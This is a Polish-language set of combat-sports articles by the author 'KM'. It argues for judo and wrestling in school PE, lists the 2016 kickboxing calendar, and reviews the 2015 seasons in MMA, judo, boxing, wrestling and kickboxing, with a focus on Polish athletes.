Ważne jest, aby ktoś w końcu pomyślał o wzbogaceniu zajęć wychowania fizycznego. Rola szkoły jest nieoceniona. „Zgodnie z podstawą programową, na każdym etapie edukacji celem zajęć edukacyjnych wychowanie fizyczne powinno być kształtowanie nawyku aktywności fizycznej. Na lekcjach wychowania fizycznego należy więc rozwijać zainteresowania i postawy uczniów oraz wspomagać budowanie pozytywnego obrazu własnej osoby jako uczestnika aktywności fizycznej o charakterze rekreacyjnym, sportowym bądź turystycznym. Z tego względu podstawa programowa wskazuje, że szkolna oferta wychowania fizycznego powinna zaspokajać w możliwie najpełniejszy sposób potrzeby, zainteresowania oraz uwzględniać możliwości uczniów” – czytamy na stronie Ministerstwa Edukacji Narodowej. Zajęcia wychowania fizycznego mają motywować i rozwijać. Nie mogą być zamknięte, lecz innowacyjne i gotowe podejmować nowe wyzwania. Warto rozpocząć dyskusję na ten temat i zastanowić się, czy nie warto jako elementu ćwiczeń wprowadzić technik z zapasów czy też judo.

W 2013 roku pojawiła się informacja na temat otwarcia w jednym z poznańskich gimnazjów klasy sportowej, gdzie prowadzone są zajęcia judo. To dobry sygnał. W powszechnej ocenie sporty walki są źle rozumiane. Często porusza się problem pojawiania się agresji. Judo i zapasy to pewien system wartości, który stawia na poszanowanie drugiej osoby oraz własne doskonalenie się. Rzecz jasna, że trzeba być w tym wszystkim ostrożnym. Raczej nie przekona się rodziców do tego, aby w szkołach pojawiły się boks czy MMA. To dyscypliny, w których obecna jest krew, więc tutaj wybór powinien należeć do opiekunów.

Coraz większą popularnością cieszą się zajęcia dodatkowe. Rodzice chcą, aby ich dzieci zdobywały dodatkowe umiejętności i posyłają je na różne warsztaty. W cenie są sporty walki. Mowa tu o judo czy karate. Bywa, że często są one płatne. Dlatego też warto spróbować zaszczepić judo i zapasy w szkołach, aby były obecne na zajęciach wychowania fizycznego. To coś nowego. Być może zmieniłoby to obraz zajęć i pozwoliło na popularyzację tych, jakże szlachetnych, dyscyplin.

Chyba, że wolimy obraz dzieci siedzących w domach. Przed telewizorem, z padem w dłoni i czekających na kolejne gry. Szkoła może dać sygnał, wzbudzić zainteresowanie. Rodzice mogą być wsparciem. W tym wszystkim najważniejsze jest dobro młodego pokolenia. Aktywność fizyczna rozwija i to nie podlega żadnej dyskusji. Bogatsza oferta zajęć szkolnych może okazać się pomocna. Trzeba dać dzieciom możliwość poznania innego świata. Judo czy zapasy na pewno im nie zaszkodzą, zapewne wprowadzą w inną rzeczywistość. Pełną społecznych atrybutów, które pozwolą dzieciom na prawidłowy rozwój. Chyba, że chcemy mieć społeczeństwo koślawe, otyłe, a wręcz ułomne fizyczne. Nie patrzmy na to tylko i wyłącznie przez pryzmat aktywności fizycznej. Spójrzmy szerzej. Sporty walki, w tym judo i zapasy, to nie tylko walka, ale rozwój i wartości. A co niesie ze sobą siedzenie przed telewizorami i granie na konsoli? To dobra rozrywka, ale na chwilę. Życie toczy się w świecie realnym, gdzie trzeba być aktywnym. W jednym z polskich seriali padło dość dosadne sformułowanie – „bo nic się nie zmienia od na d… siedzenia”. Supron dał sygnał, a więc trzeba zrobić kolejny krok.

KM

Co w trawie zapiszczy?

Nowy rok, czyli nowe wyzwania. Każdy stara się wcielić w życie swoje postanowienia i dążyć do ich realizacji. Czas pokaże, czy spełnią się nasze pragnienia, a tymczasem wracamy do codzienności. Obowiązki, praca, wyzwania czekają na nas. Nie będziemy narzekać na nudę Tak samo będzie w sportach walki, w których emocji nie zabraknie. Co będzie działo się w 2016 roku w kickboxingu?

Postanowiliśmy przyjrzeć się kalendarzowi Polskiego Związku Kickboxingu. Jednym słowem – postaramy się przybliżyć, co, gdzie i kiedy?

Będą się rozkręcać

Styczeń przywitał nas mrozem. Wszyscy przerażeni, choć mamy zimę to do tej pory wydawało się, że jest ona dla nas łagodna i wyrozumiała. Kilka dni niższych temperatur zrobiło na wielu z nas wrażenie. Bez szalików, rękawiczek i czapek ani rusz. Kiedy rozgrzeją nas walki kickbokserskie? Trzeba poczekać do lutego, kiedy to odbędą się mistrzostwa Polski seniorów i juniorów kick light. Organizatorem imprezy będzie klub KKK Rebelia Kartuzy, a rywalizacja rozegra się w dniach 5-7 lutego. Emocji na pewno nie zabraknie, gdyż na ostatnich mistrzostwach świata Polacy wywalczyli w kick light pięć złotych medali. Dorota Godzina (55kg), Paulina Jarzmik (60kg), Mateusz Jereczek (89kg), Piotr Wypchał (94kg) i Michał Bławdziewicz (+94kg) mogą okazać się gwiazdami krajowego czempionatu.

20 lutego w Libertowie odbędą się mistrzostwa Małopolski light contact. Na pierwsze zagraniczne wojaże nasi reprezentanci udadzą się w marcu. W dniach 9-12 marca w Izraelu odbędzie się turniej Ayelet International Games. Bogaty w wydarzenia będzie kwiecień. Już pierwszego dnia miesiąca, w tym przypadku nie jest to prima aprilis, rozegrane zostaną mistrzostwa Polski seniorów i juniorów low kick. Wydaje się, że całkowicie rywalizację w kategorii 63,5kg zdominował Eliasz Jankowski. W 2015 roku w Wołominie wywalczył siódmy tytuł mistrza kraju. Czy po raz kolejny wejdzie na szczyt? Kilka dni później, 15 kwietnia będziemy musieli wykazać się podzielnością uwagi. W Innsbrucku odbędą się zawody Pucharu Świata, a w Piotrkowie Trybunalskim mistrzostwa Polski seniorów i juniorów full contact. Z kolei 29 kwietnia do Ostrowca Świętokrzyskiego zjadą się zawodnicy z całego świata. W Polish Open – WAKO European Cup odbędzie się rywalizacja w formułach pointfighting, light contact, full contact oraz low kick. Maj przyniesie ze sobą również wiele wydarzeń w kickboxingu. Nasi kadrowicze udadzą się 12 maja na Puchar Świata w Budapeszcie. Tego samego dnia zaplanowano akademickie mistrzostwa Polski kick light. Z kolei 20 maja w Kurzętniku odbędą się mistrzostwa Polski seniorów pointfighting oraz light contact oraz mistrzostwa Polski kadetów kick light. Na koniec maja, 27-29, zaplanowano rywalizację w mistrzostwach kraju juniorów, kadetów młodszych i starszych w formułach pointfighting i light contact.

Turcja i Grecja czekają

To dobra oferta turystyczna, ale nie tym razem. W dniach 16-22 października w Grecji odbędą się mistrzostwa Europy seniorów w full contact, formach przy muzyce, pointfighting, kick light lub low kick. Na przełomie listopada i grudnia dojdzie do rywalizacji o miano najlepszych na Starym Kontynencie w Turcji. Planowane są zmagania w K-1, low kick, kick light bądź light contact.

W drugiej połowie roku nie zabraknie zagranicznych podróży. Puchar Świata Bestfighter Rimini odbędzie się 10 czerwca, a tydzień później planowana jest rywalizacja w Bałkan Open. Z kolei 3 czerwca czeka nas rywalizacja w mistrzostwach Polski seniorów i juniorów w K-1. Na przełomie sierpnia i września kadeci będą toczyć boje w mistrzostwach świata WAKO. Warto zanotować również w swoim kalendarzu datę 9 września. Wtedy to odbędą się zawody Polish Open K-1 oraz Scandywian Open. Cały rok zwieńczą mistrzostwa Polski w oriental rules, które zaplanowano na 9-11 grudnia. Nie wiadomo jeszcze, gdzie odbędzie się rywalizacja.

KM

Polka podbiła Amerykę

W oktagonie czuje się jak ryba w wodzie. 28-letnia Polka z Olsztyna jest mistrzynią UFC w wadze słomkowej. Rok 2015 w mieszanych sztukach walki należał do Joanny Jędrzejczyk. Polska mistrzyni jest najlepszą reklamą naszego kraju w Ameryce. Niezwykle precyzyjną i skuteczną.

Miniony rok obfitował również w niespodzianki. Wydawało się, że Ronda Rousey jest nie do zatrzymania, jednak i Amerykanka na swojej drodze spotkała przeszkodę nie do przejścia. Mistrzynią wagi koguciej została Holly Holm.

Jędrzejczyk tworzy historię

Polka sięgnęła po pas w marcu, kiedy to podczas gali UFC 185 uporała się z Carlą Esparzą. Jędrzejczyk niczym rozpędzony buldożer słała w stronę swojej rywalki kolejne ciosy i w końcu sędzia przerwał pojedynek. 28-latka pokazała bardzo dobre przygotowanie fizyczne, wysokie umiejętności oraz charakter. W 2015 roku dwukrotnie broniła mistrzowskiego pasa. Jessica Penne miała zapędy, aby sprawić niespodziankę, jednak mistrzyni zastopowała ją w trzeciej rundzie. Z kolei z Valerie Letourneau Jędrzejczyk wygrała na punkty.

W grudniu spełniły się marzenia Karoliny Kowalkiewicz. Polka zadebiutowała w najlepszej organizacji mieszanych sztuk walki na świecie podczas gali UFC on Fox 17. Kowalkiewicz na punkty pokonała Randę Markos. W tym roku polska zawodniczka stoczyła jeszcze jeden pojedynek. W lutym na KSW 30 pokonała Kalindrę Farię. Mamy w UFC w wadze słomkowej dwie zawodniczki. Czy dojdzie między nimi do walki o pas? Kowalkiewicz musi pokazać swój potencjał, wygrać kilka pojedynków i niewykluczone, że w Ameryce dojdzie do pojedynku polsko-polskiego. Obecnie jest to raczej melodia przyszłości.

Nie wszyscy potrafią odnaleźć się w UFC. Wielkie nadzieje wiązano z występami Jana Błachowicza, jednak popularny „John” znalazł się na zakręcie. W 2015 roku Polak stoczył dwa pojedynki dla organizacji UFC. Oba przegrał.

Warto przypomnieć, że w kwietniu odbyła się gala UFC Fight Night 64, która została zorganizowana w Krakowie. W walce wieczoru Mirko Filipović pokonał Gabriela Gonzagę. Swoje walki wygrali Paweł Pawlak i Bartosz Fabiński. Nieudane występy na rodzimej ziemi zaliczyli Izabela Badurek, Marcin Bandel, Daniel Omielańczuk oraz wspomniany Błachowicz.

Szansę na zdobycie mistrzowskiego pasa organizacji Bellator w wadze piórkowej otrzymał Marcin Held. 23-latek to wielka nadzieja polskiego MMA. Will Brooks, jak na mistrza przystało, nie dał się wyprowadzić w pole. Held próbował swoich sił w parterze, jednak doświadczenie było po stronie rywala, który w oczach sędziów był zdecydowanie lepszy.

Na polskim podwórku doszło do uporządkowania sytuacji w kategorii średniej w KSW. Dwa wielkie pojedynki. W maju podczas gali KSW 31 doszło do starcia Michała Materli z Tomaszem Drwalem. Emocje do samego końca. Z każdą minutą zaznaczała się przewaga Materli, gdyż Drwal słabł. Polak, który rywalizował w UFC próbował, jednak nie mógł przełamać „Magica”. Materla na cztery sekundy przed końcem trzeciej rundy postawił kropkę nad „i”. Na KSW 33 doszło do długo wyczekiwanego pojedynku. Naprzeciw siebie stanęli Michał Materla i Mamed Khalidov. Sprawę udało załatwić się w mgnieniu oka. Khalidov nie czekał, nie kalkulował, ruszył z kolanem, a następnie ciosami przypieczętował swój triumf.

KSW postawiła również na podbój Londynu. W październiku polska federacja zorganizowała galę w stolicy Anglii. W walce wieczoru Peter Graham pokonał Mariusza Pudzianowskiego. Z Londynu w dobrym nastroju wrócił Tomasz Narkun, który dzięki wygranej w pojedynku z Goranem Reljiciem zdobył pas w wadze półciężkiej. Swoje walki wygrali również Borys Mańkowski oraz Mateusz Gamrot.

Ronda zatrzymana

W 2015 roku Ronda Rousey stoczyła trzy walki. Najpierw w lutym pokonała Cat Zingano, w sierpniu rozprawiła się z Bethe Correia. Na uporanie się z dwiema rywalkami potrzebowała łącznie czterdziestu ośmiu sekund. Amerykanka przyzwyczaiła wszystkich, że jest efektowna i szybka. W listopadzie podczas UFC 193 miała bez problemu wygrać z Holly Holm. 34-latka przetrwała pierwszą rundę, co już było sporym wyczynem, a w drugiej odsłonie ruszyła do ataku. Holm kopnięciem na głowę oszołomiła Rousey, a ciosami potwierdziła swoją dominację. Nikt nie dowierzał, ale amerykańska dominatorka przegrała. Nową mistrzynią wagi koguciej została Holly Holm.

Conor McGregor jest jedną z najbardziej rozpoznawalnych postaci UFC. Irlandczyk z niecierpliwością czekał na możliwość rywalizacji z Jose Aldo. W 2015 roku z kwitkiem odprawił Dennisa Sivera oraz Chada Mendesa. Nagrodą za dobrą postawę był pojedynek o pas mistrzowski w wadze piórkowej z Aldo. 12 grudnia Irlandczyk wszedł na szczyt. Potrzebował zaledwie trzynastu sekund, aby odnieść zwycięstwo.

Problemem MMA jest doping. Rok 2015 to plaga wpadek wielu czołowych postaci UFC, co zachwiało renomą organizacji. Na stosowaniu niedozwolonych środków przyłapani zostali m.in. Anderson Silva, Nick Diaz czy Jon Jones. MMA rozwija się bardzo szybko. Niektórzy zawodnicy dzięki swoim umiejętnością wchodzą na szczyt, bywa że szybko z niego spadają.

Polskie środowisko MMA cieszy się, że Joanna Jędrzejczyk podbija świat. UFC potrzebuje wyrazistych postaci, a nasza zawodniczka prezentuje się coraz lepiej nie tylko w oktagonie. Rolę showmana odgrywa Conor McGregor. Mamed Khalidov potwierdził, że jest gwiazdą MMA w Polsce. Jednak na krajowym podwórku pojawia się coraz więcej ciekawych nazwisk.

KM

Moc tkwi w grupie

Czy niemoc zostanie przełamana? Pytanie to powtarzane jest coraz częściej w przypadku startu naszych judoków na Igrzyskach Olimpijskich w Rio de Janeiro. Jak nasi reprezentanci prezentowali się w roku przedolimpijskim?

Atlanta, 1996 rok. Piękny, wyjątkowy i jakże wymowny czas dla polskiego judo. Na najwyższym stopniu podium stanął Paweł Nastula, srebrny medal wywalczyła Aneta Szczepańska. Od tamtej pory polskie judo popadło w niemoc. Światełko w tunelu zapaliło się w 2014 roku, gdy Katarzyna Kłys po jedenastu latach wywalczyła dla polski brązowy medal mistrzostw świata. Wszyscy mieli nadzieję, że nasi judocy pójdą za ciosem i będą maszerowali do Rio de Janeiro, gdzie odegrają pierwszoplanowe role. W 2015 roku Polacy prezentowali się różnie, ale rewelacji nie było.

Na ratunek dzielne panie

Igrzyska Europejskie w Baku, jedna z dwóch głównych imprez sezonu dla naszych judoków. Występ słaby. Polacy w Baku nie pokazali się na pierwszym planie, byli tłem dla innych. Warto odnotować jedynie piąte miejsce Katarzyny Kłys w kategorii 70kg. Wiara w sercach się tliła, jednak Rosjanie zdominowali rywalizację, a od biało-czerwonych lepszym warsztatem wykazało się jeszcze kilkanaście nacji.

Kolejny ważny sprawdzian – mistrzostwa świata w Astanie. Sierpniowa rywalizacja również nie przyniosła powodów do euforii. Indywidualnie nasi zawodnicy nie zachwycili. Wyróżnić można jedynie Darię Pogorzelec, która w kategorii 78kg uplasowała się na piątej lokacie. Start w Astanie uratowała żeńska drużyna. Ambitna postawa i wola walki dały efekt. Polki pokonały Algierię, Niemcy i Rosję, zatrzymały się dopiero na Japonii. Biało-czerwone sięgnęły w Kazachstanie po srebrny medal, co jest najlepszym wynikiem naszej drużyny w historii. Podopieczne Anety Szczepańskiej startowały w składzie: Karolina Pieńkowska (52 kg), Arleta Podolak (57 kg), Agata Ozdoba, Karolina Tałach, Anna Borowska (wszystkie 63 kg), Katarzyna Kłys (70 kg) oraz Daria Pogorzelec i Katarzyna Furmanek (obie +70 kg).

Po raz kolejny świat zachwycił Teddy Riner. Startujący w kategorii +100kg Francuz po raz ósmy sięgnął po tytuł mistrza globu. Riner nadal pozostaje niepokonany na tatami, rywale nadal uginają nogi przed starciem z nim. Najwięcej krążków na mistrzostwach świata wywalczyli Japończycy, Koreańczycy oraz Francuzi.

Przez cały rok nasi judocy jeździli po świecie i gromadzili punkty w wyścigu olimpijskich. Polacy brali udział w turniejach Grand Slam, Grand Prix oraz European Open. W pierwszej części sezonu z dobrej strony zaprezentowała się Katarzyna Furmanek, która w lutym wygrała rywalizację w Pradze, w marcu w Casablance sięgnęła po srebro, a w Mińsku wywalczyła brąz. Ponownie dała o sobie znać w Port Louis, gdzie zajęła drugą pozycję. Po początkowych trudnościach na właściwe tory wróciła Katarzyna Kłys. Wokół brązowej medalistki mistrzostw świata w Taszkiencie wybuchło małe zamieszanie, z kim ma trenować i jak mają wyglądać jej przygotowania do Rio. W końcu osiągnięto konsensus w tej sprawie. W Baku Kłys zaliczyła najlepszy występ spośród naszych zawodniczek. Dopiero pod koniec roku judoczka Polonii Bytom zaczęła zdobywać miejsca na podium. Kłys była trzecia w Grand Prix w Taszkiencie i wynik ten powtórzyła w listopadzie podczas rywalizacji Grand Slam w Abu Zabi. Również start w Qingdao pokusiła się o wywalczenie brązowego krążka. Wśród panów należy wyróżnić Macieja Sarnackiego, który triumfował w Pucharze Europy w Warszawie oraz zajął trzecią pozycję w Grand Slam w Tiumeniu. Miejsca w czołówce zajmowały również Daria Pogorzelec oraz Agata Perenc. Jednak trudno jednoznacznie stwierdzić, że były to równe występy. Nasi zawodnicy gromadzili punkty, które mogą okazać się cenne w walce o wyjazd do Rio. Spokojnie spać mogą Kłys, Pogorzelec oraz Sarnacki. Spokojnie, ale czujnie. Czy Igrzyska Olimpijskie będą przełomem dla polskiego judo? Trudno jednoznacznie odpowiedzieć na to pytanie. Występy naszych zawodników to istna sinusoida. Do rewelacji daleko, tragedii też nie ma. Z tym, że indywidualnie podczas dwóch głównych imprez sezonu wyniki były znacznie poniżej oczekiwań. Nadzieja jest, jak zawsze i umiera ostatnia, ale niektórzy mówią, że jest matką głupich. Trener Aneta Szczepańska tchnęła nowego ducha w swoje podopieczne i tu upatrujemy szans na medal w Rio.

Młodzieżowa mistrzyni

Trzeba również bacznie śledzić poczynania naszej młodzieży. W Bratysławie po tytuł młodzieżowej mistrzyni Europy sięgnęła Karolina Pieńkowska w kategorii 52kg. Łącznie Polacy wywalczyli sześć medali.

Podczas mistrzostw Europy U-21 w Oberwart biało-czerwoni zapisali na swoim koncie cztery krążki. Wicemistrzynią Starego Kontynentu została Anna Załęczna w kategorii 78kg. Brązowe medale zawisły na szyjach: Patryka Wawrzyczka (66 kg), Julii Kowalczyk (57 kg) i Piotra Kuczery (90 kg).

Brak sukcesów na Uniwersjadzie w Gwangju. Blisko podium była Karolina Tałach, jednak Polka w kategorii 63kg ostatecznie zajęła piąte miejsce. Nasza męska kadra dzielnie walczyła o brązowy medal, jednak w decydującym starciu 2:3 wygrali Ukraińcy.

Jeden medal udało się przywieźć z Sofii, gdzie lipcu odbyły się mistrzostwa Europy kadetów. Jego autorem był Maciej Krogulski (73kg).

Reasumując, w Astanie ujawniła się siła naszej żeńskiej drużyny. Na tym należy budować przyszłość i upatrywać szans na sukces w Rio. Sukces dla polskiego judo niezwykle potrzebny.

KM

Wielu próbowało, jemu się udało

Najważniejsze wydarzenie bokserskiego roku 2015 miało miejsce w listopadzie w Dusseldorfie. Władzę w kategorii królewskiej musiał oddać Władimir Kliczko. Na tronie zasiadł Tyson Fury. To swego rodzaju przełom. Koniec pewnej epoki i początek czegoś nowego.

Boks to wielkie emocje, jeszcze większe pieniądze i grad ciosów. Wszyscy kochają tych, którzy nie kalkulują i potrafią zrobić show. Z ringiem pożegnał się wielki Floyd Mayweather Jr. W 2015 roku na szczyt wszedł Polak, który w ringu potrafi wyczyniać cuda.

Polski junior ciężki mistrz

Mało kto się spodziewał, że Krzysztof Głowacki rozprawi się z Marco Huckiem. W sierpniu w Newark bokser z Wałcza pokonał Niemca bośniackiego pochodzenia. Głowacki wszedł do ringu i bez kompleksów rywalizował z Huckiem. W jedenastej rundzie słał w stronę rywala potężne ciosy i mistrz w końcu osunął się na liny. Polska może cieszyć się z mistrza świata WBO w wadze junior ciężkiej.

Szansę walki o pas WBC w wadze junior ciężkiej otrzymał Łukasz Janik, który w maju rywalizował z Grigorijem Drozdem. Bokser z Zielonej Góry znalazł się w Moskwie trochę z przypadku. Pierwotnie planowano, że z Drozdem będzie rywalizował Krzysztof „Diablo” Włodarczyk, jednak choroba uniemożliwiła mu walkę. Przed życiową szansą stanął Janik. Niestety, nie wykorzystał jej. Drozd był bezlitosny dla Polaka i sędzia w dziewiątej rundzie przerwał pojedynek.

W tym roku po raz kolejny w ringu pojawił się Tomasz Adamek. „Góral” podjął wyzwanie i stanął naprzeciw Przemysława Salety. Pojedynek trwał pięć rund. Adamek mógł cieszyć się z pięćdziesiątego zwycięstwa w karierze i z trzydziestej walki zakończonej przed czasem.

Rok w kratkę ma za sobą Mateusz Masternak. „Master” musiał podnieść się po porażce z Yourim Kalengą w czerwcu 2014 roku, która uniemożliwiła mu rywalizację o mistrzostwo świata. Polak wrócił i krok po kroku dążył do obudowania swojej pozycji. W grudniu dostał szansę walki o mistrzostwo Europy. Tony Bellew okazał się lepszy. Akcje Masternaka znacznie spadły.

Mariusz Wach po odbyciu kary za stosowanie niedozwolonych środków wrócił na ring. Rozkręcał się powoli. Stoczył cztery pojedynki, wszystkie wygrał i stanął przed poważną szansą. Popularny „Viking” w grudniu w Kazaniu rywalizował o srebrny pas WBC w wadze ciężkiej z Aleksandrem Powietkinem. Przegrał. W dwunastej rundzie Polak nie miał już sił, a Rosjanin demolował go i osiągnął swój cel. Wygrał przez techniczny nokaut. Dramat Wacha trwał jeszcze po walce. Okazało się, że w organizmie polskiego pięściarza wykryto niedozwolone środki.

We wrześniu doszło do pojedynku o miano najlepszej bokserki w kraju. Minimalnie lepsza okazała się Ewa Brodnicka, która pokonała niejednogłośnie na punkty Ewę Piątkowską. Nowa królowa polskiego boksu zdobyła również pas EBU wagi lekkiej. W pojedynku o tytuł Polka okazała się lepsza od Elfi Philips. Z kolei Piątkowska dzięki wygranej w walce z Marie Riederer sięgnęła po mistrzostwo Europy w wadze półśredniej.

Nowy król

Wszyscy powtarzali w kółko to samo. Ich celem było zakończenie dominacji Władimira Kliczko. Naprzeciw ukraińskiego mistrza stawali kolejni rywale, jednak w ringu nie byli tak konkretni jak w zapowiedziach. W kwietniu wyższość Kliczko musiał uznać Bryant Jennings. Kolejnym, który rzucił wyzwanie Ukraińcowi był Tyson Fury. Anglik świetnie operuje językiem, który bogaty jest w pochwały na temat jego osoby. Często patrzono na niego z przymrużeniem oka, choć facet przyłożyć potrafi. W Dusseldorfie w ringu było ostrożny, ale wykorzystał swoją szansę. Nie uciekał przed Kliczko, lecz czekał, kiedy ten popełni błąd. Sędziowie nie mieli wątpliwości i na tronie wagi ciężkiej zasiadł nowy król.

Niepokonany – takim mianem może szczycić się Floyd Mayweather Jr. Popularny „Money” postanowił zakończyć karierę i odejść w glorii chwały. Amerykanin wygrał wszystkie czterdzieści dziewięć pojedynków. 38-letni pięściarz na swoim koncie zapisał tytuły mistrza świata WBC, WBA i WBO w wadze półśredniej, WBC i WBA w wadze junior średniej, WBC w junior lekkiej, lekkiej, junior półśredniej. Mayweather to bokser, biznesmen, showman, wielki orator, marketing owiec. Człowiek instytucja. Na jego walki czekało się z niecierpliwością, potrafił zbudować wokół swoich pojedynków aurę wyjątkowości. W maju doszło do starcia stulecia, w którym Mayweather spotkał się z Manny Pacquiao. Pojedynek długo wyczekiwany, lecz wielu zadawało pytanie, dlaczego tak późno. Pacquiao przegrał na punkty, a po walce tłumaczył się problemami z barkiem i żądał rewanżu, jednak Mayweather nie był zainteresowany kolejną konfrontacją z Filipińczykiem. Dla obu był to fantastyczny interes. Ponad 100 milionów za pojedynek zgarnął Maywaether, bez uwzględnia zysków z pay per view. Amerykanin wszedł do ringu jeszcze raz. We wrześniu na punkty pokonał Andre Berto. Po walce powiedział: dość i odwiesił rękawice.

W styczniu Amerykanie byli w euforii. Mogli cieszyć się z mistrza świata w wadze ciężkiej. Czekali i ich oczekiwanie zostało wynagrodzone. Nowym idolem Amerykanów został Deontay Wilder, który na punkty pokonał Bermane Stiverne’a. 30-latek to prawdziwy bombardier. Tylko Stiverne wytrzymał z nim w ringu dystans dwunastu ring. Pozostałych trzydziestu czterech rywali Wilder zastopował przed czasem. 16 stycznie amerykański mistrz świata WBC będzie bronił pasa w starciu z Arturem Szpilką.

Tak właśnie wyglądał rok 2015 w polskim i światowym boksie. Głowacki wyniósł biało-czerwoną flagę na szczyt. Zmienił się układ w wadze ciężkiej. Czy w styczniu na szczycie pojawi się Artur Szpilka? To jedno z noworocznych życzeń fanów boksu. Rok 2016 zapowiada się ciekawie. Sympatycy pięściarstwa nie wiedzą, czego tak naprawdę się spodziewać. Stare lisy trochę przycichły, a na pierwszy plan wchodzi młode pokolenie. Jak poradzą sobie młode wilki? Czas pokaże.

KM

Nadzieja była, fajerwerków brak

Nadszedł czas podsumowań. Jak wyglądał rok 2015 w polskich zapasach? Główną imprezą sezonu były mistrzostwa świata w Las Vegas, jednak biało-czerwoni zaprezentowali się poniżej oczekiwań.

Dwie wielkie tegoroczne imprezy. Mowa o Igrzyskach Europejskich w Baku, które napawały optymizmem, jednak występ zapaśników na mistrzostwach świata nie spełnił naszych nadziei. Warto pamiętać, że Polska była organizatorem mistrzostw Europy U23, które odbyły się w Wałbrzychu.

Dobra zapowiedź

Dla wielu Igrzyska Europejskie w Baku były wielką niewiadomą. Impreza została zorganizowana po raz pierwszy i okazała się interesującym polem rywalizacji, które połączyło wiele dyscyplin, w tym zapasy. Niepodzielnie na matach panowali reprezentanci Rosji i Azerbejdżanu. Polacy również zaliczyli dobry występ. Pięć medali na koncie biało-czerwonych to wynik przyzwoity. W glorii chwały do kraju wróciły Roksana Zasina (53kg) oraz Katarzyna Krawczyk (55kg), które wywalczyły srebrne medale. Z kolei Iwona Matkowska (48kg) zapisała na swoim koncie brązowy krążek. Dwa medale dołożyli nasi wolniacy. Srebro w kategorii 70kg wywalczył Magomiedmurad Gadżyjew, a brąz w 86kg zawisł na szyi Radosława Marcinkiewicza. Igrzyska Europejskie w Baku był więc dobrym prognostykiem przed wrześniowymi mistrzostwami świata.

Warto również poświęcić chwilę uwagi imprezie, która odbyła się w marcu w Wałbrzychu. Po raz pierwszy młodzi zapaśnicy mogli rywalizować w mistrzostwach Europy U23. Należy podkreślić fakt, że Polska spełniła pokładane w niej nadzieje i sprawdziła się w roli organizatora. Można uznać ten test za zdany. Być może europejskie władze obdarzą nasz kraj zaufaniem po raz kolejny i pozwolą zorganizować imprezę na poziome seniorskim. Czas pokaże. Wracając do Wałbrzycha, swoją obecność zaznaczyli tam nasi reprezentanci, którzy na swoim koncie zapisali trzy medale. Na najwyższym stopniu podium stanęła Daria Osocka, która rywalizowała w kategorii 75kg, gdzie wystąpiło zaledwie osiem zawodniczek. W stylu klasycznym srebro wywalczył Krystian Formela (85kg). Z kolei Robert Baran sięgnął po brąz w kategorii 125kg w stylu wolnym.

Dwa medale Polacy przywieźli z mistrzostw świata kadetów, które odbyły się w sierpniu w Sarajewie. Blisko wywalczenia tytułu najlepszego zawodnika globu był Norbert Daszkiewicz, który w finale kategorii 69kg w stylu klasycznym przegrał z Rosjaninem Aleksandrem Komarowem. Brąz w kategorii 100kg dla Patryka Kamińskiego.

Amerykański koszmar

Występ w Baku dawał nadzieję na wywalczenie kwalifikacji olimpijskich podczas mistrzostw świata w Las Vegas. Polacy zawiedli.

Najwyżej spośród naszych reprezentantek uplasowała się Daria Osocka w kategorii 75kg, w której zajęła ósmą pozycję. Wicemistrzyni świata z 2014 roku Iwona Matkowska była dopiero dwunasta. Słabo zaprezentowali się nasi klasycy. Blisko wywalczenia kwalifikacji olimpijskiej był Damian Janikowski, który zajął siódmą pozycję. Taki sam rezultat w stylu wolnym uzyskał Gadżyjew.

Za słaby występ w Las Vegas stanowiskiem zapłacił trener kadry klasyków Ryszard Wolny. Zastąpił go Andrzej Maksymiuk, który ma za zadanie jak najlepsze przygotowanie zawodników do występów kwalifikacyjnych i uzyskania maksymalnej liczby przepustek do Rio de Janeiro.

Pocieszeniem dla naszych klasyków może być srebrny medal Damiana Janikowskiego w kategorii 85kg podczas Światowych Wojskowych Igrzysk Sportowych w Mungyeong. Warto wspomnieć o dobrych występach Gadżyjewa. Medal w Baku, przyzwoita forma w międzynarodowych startach, a także wygrana w "Ramzan Kadirov of Adlan Varaev", za którą zapaśnik zainkasował 18 tysięcy dolarów.

Rok niewykorzystanych szans. Tak najkrócej należy określić występy naszych zawodników. Już dawno kadra zapaśników nie zanotowała tak słabego startu w mistrzostwach świata. Teraz musi nastąpić pełna mobilizacja. W 2016 roku wszystko podporządkowane jest pod Igrzyska Olimpijskie w Rio de Janeiro. Polskie zapasy potrzebują medalu olimpijskiego. Czy któryś z zawodników udźwignie ten cięża? Las Vegas pokazało, że może być ciężko.

KM

Siła rośnie z każdym krokiem

Kickboxing w Polsce ma się dobrze. Na rynku pojawia się coraz więcej podmiotów, które oferują ciekawe widowiska. Poziom sportowy jest wysoki. Kickboxing w 2015 roku zrobił kolejny krok na drodze do zwiększenia popularności.

Sporty uderzane cieszą się sporym zainteresowaniem. Kickboxing ustawicznie przebija się do społecznej świadomości. Nie jest to już tylko i wyłącznie dyscyplina, którą warto trenować, aby posiąść określone umiejętności, lecz także ciekawe i pełne emocji widowisko.

Medalowa potęga

Gdzie nie pojadą, tam swoje zrobią. Polska kadra jest niezwyciężona i z każdej mistrzowskiej imprezy przywozi worek medali. Już początek roku był obiecujący. Polacy zaprezentowali się podczas zawodów Irish Open International 2015. Biało-czerwoni wygrali klasyfikację medalową, a najwyższym stopniu podium stanęło pięciu naszych fighterów. Po złote medale sięgnęli Karolina Mosko (48kg), Robert Niedźwiecki (57kg), Jakub Pokusa (63,5kg), Kacper Frątczak (81kg) i Tomasz Piechocki (+91kg). Łącznie na swoim koncie Polacy zapisali czternaście krążków.

Warto również przypomnieć, że w roku 2015 roku Polski Związek Kickboxingu obchodził swoje 25 urodziny. Oficjalne uroczystości odbyły się 28 lutego w Kielcach. Nie mogło zabraknąć znakomitych walk. 25-lecie PZKb uświetniła gala Fighters Night 3, podczas której zaprezentowali się m.in. Joanna Walkiewicz, Wojciech Kosowski, Tomasza Sarara czy Dawid Kasperski.

Kickboxing to dyscyplina, która wymaga odwagi, ambicji, zacięcia oraz poświęcenia. Warto w tym miejscu pochylić się nad tegorocznym występem Eliasza Jankowskiego w mistrzostwach Polski K-1 w Legnicy. Zawodnik Ognisko TKKF Olimp Legnica rywalizujący w kategorii 63,5kg sięgnął po tytuł. Ogromny sukces Jankowskiego, który okupiony został kontuzją. W finale fighter nie poddał się mimo, że musiał walczyć ze złamaną kością śródstopia, a po pojedynku trafił do szpitala. To się nazywa charakter.

